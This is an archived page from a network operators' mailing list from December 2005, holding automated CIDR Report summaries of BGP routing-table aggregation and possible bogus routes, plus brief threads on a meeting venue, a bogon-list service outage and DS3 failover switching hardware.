2 2 Communication Solutions Ltd i Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 4323 1196 961 Time Warner Telecom 18566 887 880 Covad Communications 9583 841 829 Sify Limited 4134 1015 809 CHINANET-BACKBONE 721 1030 721 DLA Systems Automation Center 11492 634 623 Cable One 22773 593 564 Cox Communications, Inc. 4755 614 554 Videsh Sanchar Nigam Ltd. Aut 19916 563 509 OLM LLC 855 562 497 Canadian Research Network 5668 498 474 CenturyTel Internet Holdings, 6197 970 464 BellSouth Network Solutions, 7545 515 444 TPG Internet Pty Ltd 19262 584 440 Verizon Global Networks 17488 431 420 Hathway IP Over Cable Interne 3602 523 417 Sprint Canada, Inc. 17676 475 376 Softbank BB Corp. 4766 659 370 Korea Telecom (KIX) 9498 430 362 BHARTI BT INTERNET LTD. 6467 404 358 E.Spire Communications, Inc. List of Unregistered ASNs (Global) ---------------------------------- Bad AS Designation Network Transit AS Description 38976 UNALLOCATED 62.192.224.0/19 21191 SeverTransTeleCom Au 38976 UNALLOCATED 62.192.232.0/24 21166 Satgate autonomous s 38972 UNALLOCATED 80.251.144.0/21 6828 Ekaterinburg Telegra 38972 UNALLOCATED 80.251.151.0/24 6828 Ekaterinburg Telegra 38972 UNALLOCATED 80.251.152.0/23 28947 CJSC InT, Ekaterinbu 29544 UNALLOCATED 82.151.64.0/19 12956 Telefonica Data Auto 24413 UNALLOCATED 202.46.32.0/19 17623 China Netcom Corp. 24408 UNALLOCATED 203.119.26.0/24 9800 CHINA UNICOM 24408 UNALLOCATED 203.119.27.0/24 9800 CHINA UNICOM 24408 UNALLOCATED 203.119.28.0/24 9800 CHINA UNICOM 24406 UNALLOCATED 203.119.29.0/24 4808 CNCGROUP IP network: Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 132.0.0.0/10 721 DLA Systems Automation Center 137.0.0.0/13 721 DLA Systems Automation Center 158.0.0.0/13 721 DLA Systems Automation Center 192.43.230.0/24 7575 Australian Academic and Rease 192.44.0.0/24 5501 Fraunhofer Gesellschaft 192.44.0.0/19 702 UUNET - Commercial IP service 192.70.164.0/24 25689 National Research Council of 192.72.0.0/18 4780 Digital United Inc. 192.72.0.0/16 4780 Digital United Inc. 192.119.135.0/24 270 NASA 192.172.0.0/19 721 DLA Systems Automation Center Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:19 /9:5 /10:8 /11:20 /12:85 /13:194 /14:344 /15:668 /16:8638 /17:2925 /18:4950 /19:11150 /20:12254 /21:10337 /22:13563 /23:14699 /24:96141 /25:335 /26:247 /27:197 /28:63 /29:27 /30:55 /31:3 /32:41 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 18566 871 887 Covad Communications 6197 784 970 BellSouth Network Solutions, 7018 720 1461 AT&T WorldNet Services 9583 661 841 Sify Limited 2386 637 916 AT&T Data Communications Serv 11492 625 634 Cable One 4323 571 1196 Time Warner Telecom 19916 557 563 OLM LLC 4766 464 659 Korea Telecom (KIX) 855 434 562 Canadian Research Network 7011 401 466 Citizens Utilities 5668 387 498 CenturyTel Internet Holdings, 702 373 591 UUNET - Commercial IP service 1239 365 847 Sprint 6198 355 497 BellSouth Network Solutions, 6517 326 351 Yipes Communications, Inc. 15270 325 352 PaeTec.net -a division of Pae 22773 307 593 Cox Communications, Inc. 13609 289 332 Choice One Communications Inc 701 282 973 UUNET Technologies, Inc. Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:3 8:40 12:1630 13:1 15:11 16:3 17:3 18:3 20:42 24:711 25:1 30:2 32:67 38:188 40:54 44:3 47:3 52:4 55:1 56:3 57:33 58:105 59:107 60:169 61:765 62:808 63:1886 64:2923 65:2132 66:2965 67:594 68:695 69:1316 70:258 71:39 72:499 73:10 80:686 81:598 82:507 83:337 84:324 85:394 86:242 87:120 125:142 128:140 129:167 130:101 131:305 132:35 133:1 134:151 135:45 136:164 137:62 138:178 139:92 140:444 141:139 142:403 143:146 144:225 145:39 146:308 147:135 148:349 149:189 150:109 151:71 152:115 153:97 154:6 155:182 156:90 157:119 158:151 159:176 160:87 161:74 162:246 163:175 164:167 165:182 166:145 167:236 168:471 169:142 170:312 171:12 192:5724 193:3338 194:2452 195:1696 196:719 198:3895 199:3274 200:4324 201:490 202:6342 203:6596 204:3821 205:2106 206:2404 207:2928 208:2016 209:3439 210:1832 211:781 212:1243 213:1384 214:314 215:40 216:3808 217:1168 218:227 219:127 220:579 221:335 222:129 End of report

1 0

Re: Where we'll be
by Susan Harris 23 Dec '05

23 Dec '05

>> Our room rate is $145 single/double. Thanks for making this happen, >> Carol! > > Yes but will you be passing out "I'm sorry I missed valentines day to be > at NANOG" cards for the attendees to take home to their significant > others, so they aren't sleep on the couch until March? :) I feel your pain (really). The timing is very unfortunate, but we have to work around times when hotels are available and other groups aren't meeting. The good news is that we plan to cook up something special for lonely hubbies and wives to take home to their loved ones. Not an XBox, but something that's at least, um, memorable. (BTW I owe this idea to someone who shall remain nameless but her name begins with R and she has auburn hair.)

1 0

The Cidr Report
by cidr-report＠potaroo.net 23 Dec '05

23 Dec '05

This report has been generated at Fri Dec 23 21:46:42 2005 AEST. The report analyses the BGP Routing Table of an AS4637 (Reach) router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org/as4637 for a current version of this report. Recent Table History Date Prefixes CIDR Agg 16-12-05 173914 115857 17-12-05 173615 115763 18-12-05 173670 115777 19-12-05 173673 115948 20-12-05 173864 116063 21-12-05 173983 116005 22-12-05 173999 116153 23-12-05 174215 116148 AS Summary 21146 Number of ASes in routing system 8764 Number of ASes announcing only one prefix 1446 Largest number of prefixes announced by an AS AS7018 : ATT-INTERNET4 - AT&T WorldNet Services 91312128 Largest address span announced by an AS (/32s) AS721 : DLA-ASNBLOCK-AS - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 23Dec05 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 174229 116106 58123 33.4% All ASes AS4323 1188 236 952 80.1% TWTC - Time Warner Telecom AS18566 887 8 879 99.1% COVAD - Covad Communications Co. AS4134 1012 255 757 74.8% CHINANET-BACKBONE No.31,Jin-rong Street AS721 1030 311 719 69.8% DLA-ASNBLOCK-AS - DoD Network Information Center AS22773 594 35 559 94.1% CCINET-2 - Cox Communications Inc. AS19916 563 65 498 88.5% ASTRUM-0001 - OLM LLC AS855 562 65 497 88.4% CANET-ASN-4 - Canadian Research Network AS7018 1446 951 495 34.2% ATT-INTERNET4 - AT&T WorldNet Services AS3602 523 107 416 79.5% SPRINT-CA-AS - Sprint Canada Inc. AS6197 967 579 388 40.1% BATI-ATL - BellSouth Network Solutions, Inc AS11492 634 254 380 59.9% CABLEONE - CABLE ONE AS17676 475 100 375 78.9% JPNIC-JP-ASN-BLOCK Japan Network Information Center AS17488 430 61 369 85.8% HATHWAY-NET-AP Hathway IP Over Cable Internet AS6467 399 54 345 86.5% ESPIRECOMM - e.spire Communications, Inc. AS812 370 27 343 92.7% ROGERS-CABLE - Rogers Cable Inc. AS9498 429 92 337 78.6% BBIL-AP BHARTI BT INTERNET LTD. AS4766 622 291 331 53.2% KIXS-AS-KR Korea Telecom AS4755 613 296 317 51.7% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS15270 347 30 317 91.4% AS-PAETEC-NET - PaeTec.net -a division of PaeTecCommunications, Inc. AS9583 840 525 315 37.5% SIFY-AS-IN Sify Limited AS22047 380 88 292 76.8% VTR BANDA ANCHA S.A. AS14654 292 6 286 97.9% WAYPORT - Wayport AS5668 498 217 281 56.4% AS-5668 - CenturyTel Internet Holdings, Inc. AS6167 330 65 265 80.3% CELLCO-PART - Cellco Partnership AS9929 319 56 263 82.4% CNCNET-CN China Netcom Corp. AS18101 282 23 259 91.8% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS16814 295 38 257 87.1% NSS S.A. AS6140 433 191 242 55.9% IMPSAT-USA - ImpSat AS1239 841 601 240 28.5% SPRINTLINK - Sprint AS6478 517 285 232 44.9% ATT-INTERNET3 - AT&T WorldNet Services Total 18118 5912 12206 67.4% Top 30 total Possible Bogus Routes 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.78.0/24 AS25994 NPG-001 - NPG Cable, INC 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 64.17.32.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.33.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.37.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.38.96.0/19 AS19654 HOSTING-NETWORK - HOSTING-NETWORK, INC. 64.127.128.0/17 AS19654 HOSTING-NETWORK - HOSTING-NETWORK, INC. 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.224.0/20 AS3356 LEVEL3 Level 3 Communications 66.37.96.0/20 AS3764 IA-HOU-AS - Internet America, Inc. 66.51.134.0/24 AS29876 LNTC - Latency LLC 66.96.0.0/20 AS3770 WORLDPATH-AS - WorldPath Internet Services 66.117.0.0/21 AS30033 NHI-NETWORKS - NHI Networks 66.117.8.0/24 AS174 COGENT Cogent/PSI 66.117.9.0/24 AS30033 NHI-NETWORKS - NHI Networks 66.117.16.0/24 AS30033 NHI-NETWORKS - NHI Networks 66.117.18.0/24 AS30033 NHI-NETWORKS - NHI Networks 66.117.20.0/24 AS30085 NHI-COLOCATIONS - New Horizon Collocations 66.117.21.0/24 AS30033 NHI-NETWORKS - NHI Networks 66.117.23.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.117.25.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.117.26.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.117.27.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.186.192.0/19 AS19654 HOSTING-NETWORK - HOSTING-NETWORK, INC. 66.187.96.0/24 AS10026 ANC Asia Netcom Corporation 66.187.108.0/24 AS10026 ANC Asia Netcom Corporation 66.187.109.0/24 AS10026 ANC Asia Netcom Corporation 66.216.0.0/18 AS19654 HOSTING-NETWORK - HOSTING-NETWORK, INC. 66.235.158.0/23 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 69.39.193.0/24 AS25973 MZIMA - Mzima Networks, Inc. 69.39.195.0/24 AS25973 MZIMA - Mzima Networks, Inc. 69.39.196.0/24 AS25973 MZIMA - Mzima Networks, Inc. 85.129.3.0/24 AS14585 CIFNET - CIFNet, Inc. 85.129.4.0/24 AS14585 CIFNET - CIFNet, Inc. 90.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 90.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 91.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 91.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 125.213.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 131.64.0.0/12 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 132.0.0.0/10 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 137.0.0.0/13 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 138.136.0.0/13 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 151.135.0.0/16 AS4763 TELSTRANZ-AS TelstraClear Ltd 158.0.0.0/13 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 163.142.0.0/16 AS2500 JPNIC-ASBLOCK-AP JPNIC 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS5515 SONERA-GLOBAL-IP Sonera Solution Autonomous System 192.43.230.0/24 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 192.44.0.0/19 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 192.44.0.0/24 AS5501 FRAUNHOFER-CLUSTER-BW Fraunhofer Gesellschaft 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.72.0.0/16 AS4780 SEEDNET Digital United Inc. 192.72.0.0/18 AS4780 SEEDNET Digital United Inc. 192.72.192.0/18 AS4780 SEEDNET Digital United Inc. 192.81.183.0/24 AS719 ELISA-AS Elisa Oyj 192.81.184.0/24 AS719 ELISA-AS Elisa Oyj 192.88.99.0/24 AS559 SWITCH SWITCH, Swiss Education and Research Network 192.96.36.0/24 AS5713 AFRINIC African Network Information Center 192.96.37.0/24 AS10474 AFRINIC African Network Information Center 192.96.135.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.136.0/23 AS2018 TENET - 1 - The Uninet Project 192.96.140.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.143.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.145.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.177.0/24 AS6083 AFRINIC African Network Information Center 192.96.250.0/24 AS2018 TENET - 1 - The Uninet Project 192.107.104.0/24 AS6458 GUATEL 192.119.135.0/24 AS270 PSCNI-AS - National Aeronautics and Space Administration 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.136.53.0/24 AS8346 SONATEL-AS Autonomous System 192.153.144.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 192.172.0.0/19 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 192.188.208.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 193.0.246.0/24 AS3303 SWISSCOM Swisscom Solutions Ltd 193.32.19.0/24 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 193.32.20.0/23 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 193.36.1.0/24 AS8220 COLT COLT Telecommunications 193.37.69.0/24 AS2856 BT-UK-AS BTnet UK Regional network 193.37.236.0/24 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 193.110.77.0/24 AS3356 LEVEL3 Level 3 Communications 193.110.78.0/24 AS3356 LEVEL3 Level 3 Communications 193.110.79.0/24 AS3356 LEVEL3 Level 3 Communications 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.59.176.0/20 AS1273 CW Cable & Wireless 194.153.156.0/24 AS24865 KMITCHELL-AS Keith Mitchell's Network 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 195.60.240.0/22 AS12968 CDP Crowley Data Poland, sp. z o.o. 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.92.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.222.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.249.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.250.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.251.0/24 AS2018 TENET - 1 - The Uninet Project 198.97.72.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.97.80.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.97.96.0/19 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.97.240.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.101.4.0/22 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.136.32.0/20 AS19329 MCNET - Martin County Board of County Commissioners 198.160.171.0/24 AS7046 UUNET-CUSTOMER - UUNET Technologies, Inc. 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.163.155.0/24 AS684 MTSAL-ASN - MTS Allstream Inc. 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.167.163.0/24 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 198.168.0.0/16 AS701 ALTERNET-AS - UUNET Technologies, Inc. 198.169.0.0/16 AS803 SASKTEL - SaskTel 198.232.133.0/24 AS23075 SKOTOS-AS - Skotos Tech, Inc 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.60.0.0/20 AS271 BCNET-AS - University of British Columbia 199.114.0.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.128.0/18 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.130.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.132.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DISA/UNRRA 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DISA/UNRRA 199.114.142.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.144.0/24 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.148.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.150.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.120.32.0/19 AS16582 NEXTLEVELINTERNET - NEXTLEVEL INTERNET, INC. 199.121.0.0/16 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.123.0.0/18 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.123.16.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.123.80.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 ALTERNET-AS - UUNET Technologies, Inc. 199.246.116.0/24 AS813 UUNET-AS1 - UUNET Technologies, Inc. 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.86.252.0/22 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.93.0.0/20 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 202.131.64.0/19 AS9381 NEWTT-IP-AP Wharf T&T Ltd. 203.13.171.0/24 AS1221 ASN-TELSTRA Telstra Pty Ltd 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.133.0/24 AS15412 FLAG-AS Flag Telecom Global Internet AS 203.89.134.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.138.0/24 AS9237 HUTCHCA-AS Corporate Access (HK) Ltd. 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.89.143.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.144.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.145.0/24 AS4637 REACH Reach Network Border AS 203.89.146.0/24 AS4637 REACH Reach Network Border AS 203.89.147.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.148.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.149.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.150.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.151.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.153.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.154.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.158.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.159.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.99.0.0/19 AS17746 ORCONINTERNET-NZ-AP Orcon Internet 203.99.142.0/24 AS9826 ILINK-HK-AP iLink.net Ltd 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 203.210.69.0/24 AS17536 PRODIGY-AS-AP Prodidgy Telecommunications 204.48.118.0/23 AS29912 CITIZENS-PROPERTY-INSURANCE-CORPORATION - Citizens Property Insurance Corporation 204.48.119.0/24 AS29912 CITIZENS-PROPERTY-INSURANCE-CORPORATION - Citizens Property Insurance Corporation 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 ALTERNET-AS - UUNET Technologies, Inc. 206.108.96.0/19 AS577 BACOM - Bell Advanced Communications Inc. 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.167.57.0/24 AS376 RISQ-AS - Reseau Interordinateurs Scientique Quebecois (RISQ) 206.191.64.0/18 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 206.191.96.0/19 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc 208.138.48.0/20 AS6971 ESCH - Eschelon Telecommunications, Inc. 209.40.192.0/21 AS6487 CyberNet de Guatemala S.A. 209.40.200.0/21 AS6487 CyberNet de Guatemala S.A. 209.40.208.0/21 AS6487 CyberNet de Guatemala S.A. 209.40.216.0/21 AS6487 CyberNet de Guatemala S.A. 209.97.64.0/19 AS6132 INGRESSNET - Ingress Enterprises, Inc w/ Ingress Communications, Inc. 209.112.224.0/20 AS19817 DSLEXTREME - DSL Extreme 209.205.69.0/24 AS21578 Universidad autonoma de Bucaramanga 209.205.70.0/24 AS21578 Universidad autonoma de Bucaramanga 209.205.81.0/24 AS15066 SkyNet de Colombia S.A. 209.205.82.0/24 AS15066 SkyNet de Colombia S.A. 209.205.84.0/24 AS15066 SkyNet de Colombia S.A. 209.234.0.0/18 AS3845 STATE-NET - CS&W, Inc. 209.251.0.0/19 AS11036 SISCOM - SISCOM, Inc 216.37.110.0/23 AS4264 CERNET-ASN-BLOCK - California Education and Research Federation Network 216.71.224.0/20 AS23527 COTELLIGENCE - Cotelligence, Inc. 216.82.160.0/20 AS20481 CALYX-NL Calyx Internet B.V. Netherlands 216.96.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.228.64.0/21 AS6295 WHIDBEY1 - Whidbey Internet Services 216.228.224.0/20 AS13674 VRIS-AS-BLOCK-13661-13675 - Verizon Internet Services Inc. 216.240.240.0/20 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog(a)merit.edu eof-list(a)ripe.net apops(a)apops.net routing-wg(a)ripe.net afnog(a)afnog.org

1 0

RE: Bogon stupidity... warning... operational post.
by Hannigan, Martin 22 Dec '05

22 Dec '05

> > > On 12/22/05 1:35 PM, "Christopher L. Morrow" > <christopher.morrow(a)mci.com> > wrote: > > > > > > > On Thu, 22 Dec 2005, william(at)elan.net wrote: > > > >> > >> > >> On Thu, 22 Dec 2005, Robert Boyle wrote: > >> > >>> At 12:56 PM 12/22/2005, you wrote: > >>> P.S. 204/8 was not the only problem, there were problems > with 128/8 and > >>>> 133/8 as well so my apologies to people who may have > noticed problems > >>>> overnight. > >>> > >>> 199.128.0.0/9 too. > >> > >> Yes, legacy blocks (with large number of smaller > allocations) whenever > >> datasize during processing exceeded certain amount. The > bad data was > >> present at 2 of 4 servers for duration of the night but > dns was being > > > > so 50+% of your system was hozed for some long period of > time :( bad. > > > >> changes same time as well, so I don't know how much affect > there was > >> but apparently considerable; this is the most serious > problem in months. > >> > > > > 'most serious problem in months' ... this has happened in > smaller chunks > > during the past 'months' ? yikes... is that noted on your > site so users of > > the 'service' will know what sorts of 'problems' they might be > > encountering due to their reliance on this 'service'? > > I wonder how many problems cymru has had in that period? I'm > guess not so > many... I mean this in a nice way, really. Look. Smiley. :) Use a blacklist, pay the price. I'd like to know how many people actually went to their boss and said "It was that guy Williams fault even though I control and am responsible for the network.....!" -M<

2 1

Re: Slightly OT: Redundant CPE Switching for DS3
by John Neiberger 22 Dec '05

22 Dec '05

>>> <will(a)loopfree.net> 12/22/05 12:35:36 PM >>> > >On Thu, Dec 22, 2005 at 12:21:55PM -0700, John Neiberger wrote: >> I'm curious to find out if there is a device that would allow a single >> DS3 to terminate on two different routers, and switch from the primary >> to the backup router if the primary were to fail. I've seen this for >> T1 circuits but I can't find anything for DS3. > > >I'd bet you could make something workable with a DPDT coaxial relay, >driving it from alarm contacts or a relay output of whatever >monitoring system you might already have. The tricky part would >probably be appropriately defining "failure" in order to get it to >automatically switch at the right time without causing more problems >than you started with. > >http://www.rfparts.com/coaxial.html I found what I was looking for, sort of: http://www.dataprobe.com/switch/ab_net.html They have a box that is basically an A/B switch. The failover is not automatic (they have an automatic version for T1) but it is controllable via SNMP/Web/Telnet, and it can also has a feature called Auto-Ping which will cause the switch to trip if the pings fail. However, this box does not detect if the primary CPE has failed, which is what I was hoping to get. However, this is still better than nothing and the price is only $775. John --

1 0